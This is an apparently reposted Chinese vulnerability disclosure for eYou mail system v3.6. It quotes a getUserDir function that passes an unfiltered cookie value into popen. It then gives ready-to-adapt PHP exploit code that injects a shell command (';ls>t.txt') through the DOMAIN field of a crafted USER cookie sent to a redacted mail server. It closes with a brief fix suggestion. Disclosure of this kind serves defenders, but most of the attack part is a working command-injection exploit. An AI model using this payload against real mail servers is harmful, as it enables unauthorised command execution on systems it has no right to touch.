好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

eYou邮箱系统v3.6命令执行 - 网站安全 - 自学php

有条件限制,需要登陆权限,新版本无效,还是命令执行。问题出在getUserDir这个函数里,$_COOKIE毫无过滤带入。

先看eYou的代码:

 

//获取用户目录 function getUserDir($uid, $domain) { $handle = popen("/var/eyou/sbin/hashid $uid $domain", 'r'); $read = fread($handle, 2096); pclose($handle); return $read; }

 

 

$domain无过滤,直接可以执行。

 

接着是利用代码,没有现成的哈,自己看着来改就行了。

 

 

public function action_test() { $cmd = "ls>t.txt"; $request = Request::factory('http://mail.XXXXXXXXXXXX.cn/user/autoComplete.php?s=1') ->cookie('USER', "LASTONE=fake&ENTER_TYPE=0&NO_EYCM=1&GWJUMP=1&MAXRCPTNUM=150&LANG=zh_CN&TOKEN=z2GYCv1SJ&DOMAIN=test测试数据;{$cmd}&UID=test&LOGIN_DOMAIN=test测试数据&LOGIN_UID=timothy&ATTSIZE=10&CALLBACK=0&TRACEMAIL=0&GROUPADDR=0&VIEWLIST=0&GLOBALPERMISSION=0&NOTATION=0&BYTESPERCENT=0&BOOKMARK=1&MOBILEMESSAGE=0&DIALUP=0&VIDEOMAIL=0&SECUREMAIL=0&VOICEMAIL=1&CALENDAR=1&STORAGE=1&TOTALSPACE=200&LOCKSTATUS=0&USERNAME=&EXPTIME=0&LETTERS=5000&QUOTA=100&COMPANYADDR=&SKIN=current&") ->cookie(' PHP SESSID', 'e1c8798afec734384cd908180e52b1cf') ->execute(); echo Debug::vars($request); exit; }

 

 

修复方案: 在getUserDir方法中用正则验证下domain。 

 

查看更多关于eYou邮箱系统v3.6命令执行 - 网站安全 - 自学php的详细内容...

  阅读:56次